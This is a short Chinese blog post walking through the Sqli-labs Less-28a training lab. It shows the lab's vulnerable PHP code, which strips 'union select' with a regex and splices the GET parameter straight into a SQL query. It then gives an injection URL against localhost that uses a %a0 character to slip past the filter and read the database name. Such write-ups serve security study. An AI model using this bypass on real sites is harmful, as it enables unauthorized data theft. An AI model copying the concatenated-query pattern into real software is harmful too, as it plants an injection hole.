Sqli-labs Less-28a 绕过union\s+select过滤 union注入

 
更多

关键代码

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
return $id;
}

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

本关与less28基本一致,只是过滤条件少了几个。

http://127.0.0.1/sql/Less-28a/?id=100′)union%a0select 1,database(),3||(‘1

 

打赏

本文固定链接: https://www.cxy163.net/archives/4970 | 绝缘体

该日志由 绝缘体.. 于 2020年04月09日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-28a 绕过union\s+select过滤 union注入 | 绝缘体
关键字: , , , ,

Sqli-labs Less-28a 绕过union\s+select过滤 union注入:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter